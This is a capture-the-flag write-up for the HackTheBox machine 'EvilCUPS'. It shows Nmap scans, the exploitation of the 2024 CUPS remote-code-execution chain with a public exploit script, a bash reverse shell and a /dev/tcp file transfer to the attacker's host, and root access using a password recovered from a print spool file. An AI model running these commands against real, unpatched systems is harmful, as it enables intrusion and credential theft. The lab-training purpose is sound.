EvilCUPS – HackTheBox Link to heading

  • OS: Linux
  • Difficulty: Medium
  • Platform: HackTheBox

‘EvilCUPS’ Avatar


Summary Link to heading

EvilCUPS is a medium box/machine from HackTheBox platform. After performing an initial scan to the victim machine, we note that it is running CUPS service and is using a slighlty outdated version of it. Following the steps presented a few days ago (at the time of writing) from this blog we are allowed to execute commands remotely in the victim machine, gaining initial access to it. After it, inspecting for data files for printers in the system for CUPS service, we are allowed to obtain a password for the printer service. This password was also used by root user, gaining total control over the system.


User Link to heading

Starting with an Nmap scan shows only 2 ports open: 22 SSH and 631 CUPS:

❯ sudo nmap -sS --open --min-rate=5000 -p- -n -Pn 10.10.11.40

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-03 01:25 -03
Nmap scan report for 10.10.11.40
Host is up (0.26s latency).
Not shown: 65533 closed tcp ports (reset)
PORT    STATE SERVICE
22/tcp  open  ssh
631/tcp open  ipp

Nmap done: 1 IP address (1 host up) scanned in 16.91 seconds

Applying some recognition scans we get:

❯ sudo nmap -sVC -p22,631 10.10.11.40

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-03 01:26 -03
Nmap scan report for 10.10.11.40
Host is up (0.51s latency).

PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
|   256 36:49:95:03:8d:b4:4c:6e:a9:25:92:af:3c:9e:06:66 (ECDSA)
|_  256 9f:a4:a9:39:11:20:e0:96:ee:c4:9a:69:28:95:0c:60 (ED25519)
631/tcp open  ipp     CUPS 2.4
|_http-title: Home - CUPS 2.4.2
| http-robots.txt: 1 disallowed entry
|_/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 137.89 seconds

We can see that the victim machine is running CUPS on its default port 631:

Info
CUPS is a modular printing system for Unix-like computer operating systems which allows a computer to act as a print server.

Visiting http://10.10.11.40:631 in a web browser shows:

EvilCUPS 1

As the webpage and Nmap scan shows, we have a version: 2.4.2. Based on the copyright message at the bottom left of the webpage (and also Googling CUPS 2.4.2 release date) shows that this version is from around 2022. The most updated version (at the time of this WriteUp) is 2.4.8 released in April, 2024.

Going to Printers tab we can see there is 1 installed printer: Canon_MB2300_series:

EvilCUPS 2

If we click on the printer name we can see more info about this printer:

EvilCUPS 3

and checking the jobs this printer has done (clicking on Show Completed Jobs) we get:

EvilCUPS 4

There is only 1 job by Witheld user. So we have a potential username.

I note there are tasks/jobs we are allowed to do in an anonymous sessions and others that we are not. For example, Clicking on Maintenance at the mid-top left, and then selecting Print Test Page creates a new job. After some time, if we check the completed job, it has been executed by anonymous user and the job has been added:

EvilCUPS 4

But if we attempt to choose Set Allowed Users option (clicking on Administration option and changing it), it redirects us to the site http://10.10.11.40:631/admin/. Where we basically get 403 Forbidden status:

❯ curl -I http://10.10.11.40:631/admin/

HTTP/1.1 403 Forbidden
Connection: close
Content-Language: en_US
Content-Length: 370
Content-Type: text/html; charset=utf-8
Date: Thu, 03 Oct 2024 04:46:17 GMT
Accept-Encoding: gzip, deflate, identity
Server: CUPS/2.4 IPP/2.1
X-Frame-Options: DENY
Content-Security-Policy: frame-ancestors 'none'

At this point is where the vulnerabilities enter. About 2 weeks ago a really interesting post was written by Simone Margaritelli (a.k.a evilsocket) in his blog reporting 4 vulnerabilities. Quoting literally from his blog, vulnerabilities are:

  1. CVE-2024-47176 | cups-browsed <= 2.0.1 binds on UDP INADDR_ANY:631 trusting any packet from any source to trigger a Get-Printer-Attributes IPP request to an attacker controlled URL.
  2. CVE-2024-47076libcupsfilters <= 2.1b1: cfGetPrinterAttributes5 does not validate or sanitize the IPP attributes returned from an IPP server, providing attacker controlled data to the rest of the CUPS system.
  3. CVE-2024-47175 | libppd <= 2.1b1: ppdCreatePPDFromIPP2 does not validate or sanitize the IPP attributes when writing them to a temporary PPD file, allowing the injection of attacker controlled data in the resulting PPD.
  4. CVE-2024-47177cups-filters <= 2.0.1foomatic-rip allows arbitrary command execution via the FoomaticRIPCommandLine PPD parameter.

In simple words, the chained attack is as follows:

EvilCups 9

Following the steps of the blog, he explained how a bad configuration in UDP port for CUPS service and lack of sanitation allowed him to reach an Remote Code Execution on the systems. Therefore, we check if UDP protocol is listening in CUPS port with Nmap:

❯ sudo nmap -sU -p631 10.10.11.40

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-03 02:49 -03
Nmap scan report for 10.10.11.40
Host is up (0.25s latency).

PORT    STATE         SERVICE
631/udp open|filtered ipp

Nmap done: 1 IP address (1 host up) scanned in 3.13 seconds

It is open. It is a good sign.

We can then use this Python exploit by IppSec (adapted from this CUPS Browsed Github Security Advice) that applies all the steps described previously to run commands. We download the script, create a temporal virtual environment in Python called evilcups_env, enable it and install all the needed libraries there:

❯ git clone https://github.com/IppSec/evil-cups.git
<SNIP>

❯ cd evil-cups

❯ python3 -m venv evilcups_env

❯ source evilcups_env/bin/activate

❯ pip3 install -r requirements.txt

❯ python3 evilcups.py -h
evilcups.py <LOCAL_HOST> <TARGET_HOST> <COMMAND>

Now, the “sensitive” part of this exploit is that, for example, if we send us a reverse shell it will share the same PID of the process ran by the printer. So, if for any reason the (added) bad printer is removed, our revshell might die as well. Theremight be a job running at the background constantly removing the printers. Therefore, our revshell might die. To avoid this problem we can try to create a new PID handling this process with nohup command when we send us a revshell. Therefore, if we use this chain attack, it is recommended to use nohup. As a final advisory, in real life there might not be a task constantly removing printers. If that’s the case (probably a more real one) and our shell dies, we might need to change our IP address since it will not accept a new PPD file.

Back to the attack. We start a netcat listener on port 443:

❯ nc -lvnp 443

listening on [any] 443 ...

and execute the exploit:

❯ python3 evilcups.py 10.10.16.3 10.10.11.40 'nohup bash -c "bash -i >& /dev/tcp/10.10.16.3/443 0>&1" &'

IPP Server Listening on ('10.10.16.3', 12345)
Sending udp packet to 10.10.11.40:631...
Please wait this normally takes 30 seconds...

After 30 seconds have passed, we can check again the printers webpage:

EvilCUPS 6

The printer is there.

We can then click on the printer, go to Maintenance and change it to Print Test Page:

EvilCUPS 7

Once we click on it we can check our netcat listener and get a shell as lp user:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.40] 56334
bash: cannot set terminal process group (4689): Inappropriate ioctl for device
bash: no job control in this shell
lp@evilcups:/$ whoami

whoami
lp

We can get the user flag at /home/htb directory.


Root Link to heading

If we want to read CUPS file, for example, the PPD injected files we see that we can’t:

lp@evilcups:/$ ls -la /var/spool/cups/
ls: cannot open directory '/var/spool/cups/': Permission denied

lp@evilcups:/$ ls -la /var/spool | grep cups
drwx--x---  3 root lp   4096 Oct  3 02:12 cups

As we can see with our permissions, we are only allowed to execute files in that directory.

Now, when we can know the PDD filenames based on their jobs names as is explained in CUPS documentation:

Info
The scheduler stores job files in a spool directory, typically /var/spool/cups. Two types of files will be found in the spool directory: control files starting with the letter c (c00001, c99999, c100000, etc.) and data files starting with the letter d (d00001-001, d99999-001, d100000-001, etc.)

The format is d[int with job number, 5 digits]-[int page to read, 3 digits]. So, for example, if we want to read job 3 and page 2 the filename is d00003-002; if we want to read job 1 and its page 4, we read d00001-004 and so on… As we have seen at the beggining, there was a printer that was already a Canon printer running a job by the user Witheld; when we added a new print test as anonymous user a job 2 was created (the number after the - character). So, maybe, we are allowed to read /var/spool/cups/d00001-001. This will print the first page of the first job running (that was already present on the machine since its origin):

lp@evilcups:/$ cat /var/spool/cups/d00001-001

%!PS-Adobe-3.0
%%BoundingBox: 18 36 577 806
%%Title: Enscript Output
%%Creator: GNU Enscript 1.6.5.90
<SNIP>
(Br3@k-G!@ss-r00t-evilcups) s
_R
S
%%Trailer
%%Pages: 1
%%DocumentNeededResources: font Courier-Bold Courier
%%EOF

(We can already read what seems to be a password…)

We can then try to convert this .ps file (as the header of the file points) to a PDF. We pass this file to my attacker machine with netcat. In my attacker machine, I start a simple listener on port 4444 and store its stdout to a file named printer.ps:

❯ nc -lvnp 4444 > printer.ps

listening on [any] 4444 ...

Since the victim machine does not have netcat installed, we can use /dev/tcp to send us the file:

lp@evilcups:/$ cat /var/spool/cups/d00001-001 > /dev/tcp/10.10.16.3/4444

We can check that both files have the same MD5 hash:

lp@evilcups:/$ md5sum /var/spool/cups/d00001-001

2fb41de3cec5ef29a78c1c825998ac1f  /var/spool/cups/d00001-001

and

❯ md5sum printer.ps

2fb41de3cec5ef29a78c1c825998ac1f  printer.ps

Data is intact.

We can finally use ps2pdf command and view the PDF file:

❯ ps2pdf printer.ps printer.pdf

❯ xdg-open printer.pdf

EvilCUPS 8

We have a password: Br3@k-G!@ss-r00t-evilcups.

We check if this password works for root user with NetExec tool:

❯ nxc ssh 10.10.11.40 -u 'root' -p 'Br3@k-G!@ss-r00t-evilcups'

SSH         10.10.11.40     22     10.10.11.40      [*] SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u3
SSH         10.10.11.40     22     10.10.11.40      [+] root:Br3@k-G!@ss-r00t-evilcups (Pwn3d!) (root) Linux - Shell access!

and it does.

We can finally log into the victim machine with SSH as root user:

❯ sshpass -p 'Br3@k-G!@ss-r00t-evilcups' ssh -o stricthostkeychecking=no root@10.10.11.40

<SNIP>
root@evilcups:~# whoami

root

We can get the root flag at /root directory.

~Happy Hacking